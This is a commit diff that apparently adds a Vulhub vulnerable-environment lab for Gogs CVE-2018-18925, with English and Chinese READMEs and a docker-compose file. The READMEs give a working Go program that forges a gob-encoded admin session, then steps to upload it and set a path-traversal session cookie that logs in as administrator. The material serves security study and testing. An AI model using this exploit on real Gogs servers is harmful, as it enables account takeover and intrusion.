first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
gogs/CVE-2018-18925/1.png
Normal file
BIN
gogs/CVE-2018-18925/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 54 KiB |
BIN
gogs/CVE-2018-18925/2.png
Normal file
BIN
gogs/CVE-2018-18925/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 130 KiB |
78
gogs/CVE-2018-18925/README.md
Normal file
78
gogs/CVE-2018-18925/README.md
Normal file
@@ -0,0 +1,78 @@
|
||||
# Gogs Session Overwrite and Arbitrary User Forge (CVE-2018-18925)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Gogs is a painless self-hosted Git service.
|
||||
|
||||
Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a `..` session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
|
||||
|
||||
References:
|
||||
|
||||
- <https://github.com/gogs/gogs/issues/5469>
|
||||
- <https://xz.aliyun.com/t/3168>
|
||||
- <https://www.anquanke.com/post/id/163575>
|
||||
|
||||
## Vulnerable environment
|
||||
|
||||
Execute following command to start a Gogs server 0.11.66:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server is started, you can see the installation page on `http://your-ip:3000`. Follow the instructions to initialize the application, keep in mind that use SQLite as the database provider and enable the user register.
|
||||
|
||||
Restart the server by `docker compose restart` after the installation, otherwise the session won't be stored in the filesystem.
|
||||
|
||||
## Exploit
|
||||
|
||||
Before the exploit, use Gob to generate a evil session file:
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/gob"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
)
|
||||
|
||||
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
|
||||
for _, v := range obj {
|
||||
gob.Register(v)
|
||||
}
|
||||
buf := bytes.NewBuffer(nil)
|
||||
err := gob.NewEncoder(buf).Encode(obj)
|
||||
return buf.Bytes(), err
|
||||
}
|
||||
|
||||
func main() {
|
||||
var uid int64 = 1
|
||||
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
|
||||
data, err := EncodeGob(obj)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
edata := hex.EncodeToString(data)
|
||||
fmt.Println(edata)
|
||||
}
|
||||
```
|
||||
|
||||
Sign up a normal user account, then create a project and upload the generated evil file on release page:
|
||||
|
||||

|
||||
|
||||
Get the aboslute file path from the attachment URL, for example `./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10`.
|
||||
|
||||
Finally, construct a malicious session id like `i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10` and you can see that you are administrator (uid=1) now:
|
||||
|
||||

|
||||
|
||||
To execte commands as the administrator role, please refer to the reference links.
|
76
gogs/CVE-2018-18925/README.zh-cn.md
Normal file
76
gogs/CVE-2018-18925/README.zh-cn.md
Normal file
@@ -0,0 +1,76 @@
|
||||
# Gogs 任意用户登录漏洞(CVE-2018-18925)
|
||||
|
||||
gogs是一款极易搭建的自助Git服务平台,具有易安装、跨平台、轻量级等特点,使用者众多。
|
||||
|
||||
其0.11.66及以前版本中,(go-macaron/session库)没有对sessionid进行校验,攻击者利用恶意sessionid即可读取任意文件,通过控制文件内容来控制session内容,进而登录任意账户。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://github.com/gogs/gogs/issues/5469
|
||||
- https://xz.aliyun.com/t/3168
|
||||
- https://www.anquanke.com/post/id/163575
|
||||
|
||||
## 环境启动
|
||||
|
||||
执行如下命令启动gogs:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问`http://your-ip:3000`,即可看到安装页面。安装时选择sqlite数据库,并开启注册功能。
|
||||
|
||||
安装完成后,需要重启服务:`docker compose restart`,否则session是存储在内存中的。
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
使用Gob序列化生成session文件:
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/gob"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
)
|
||||
|
||||
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
|
||||
for _, v := range obj {
|
||||
gob.Register(v)
|
||||
}
|
||||
buf := bytes.NewBuffer(nil)
|
||||
err := gob.NewEncoder(buf).Encode(obj)
|
||||
return buf.Bytes(), err
|
||||
}
|
||||
|
||||
func main() {
|
||||
var uid int64 = 1
|
||||
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
|
||||
data, err := EncodeGob(obj)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
edata := hex.EncodeToString(data)
|
||||
fmt.Println(edata)
|
||||
}
|
||||
```
|
||||
|
||||
然后注册一个普通用户账户,创建项目,并在“版本发布”页面上传刚生成的session文件:
|
||||
|
||||

|
||||
|
||||
通过这个附件的URL,得知这个文件的文件名:`./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10`。
|
||||
|
||||
然后,构造Cookie:`i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10`,访问即可发现已经成功登录id=1的用户(即管理员):
|
||||
|
||||

|
||||
|
||||
完整的利用过程与原理,可以阅读参考链接中的文章。
|
7
gogs/CVE-2018-18925/docker-compose.yml
Normal file
7
gogs/CVE-2018-18925/docker-compose.yml
Normal file
@@ -0,0 +1,7 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/gogs:0.11.66
|
||||
ports:
|
||||
- "10022:22"
|
||||
- "3000:3000"
|
Reference in New Issue
Block a user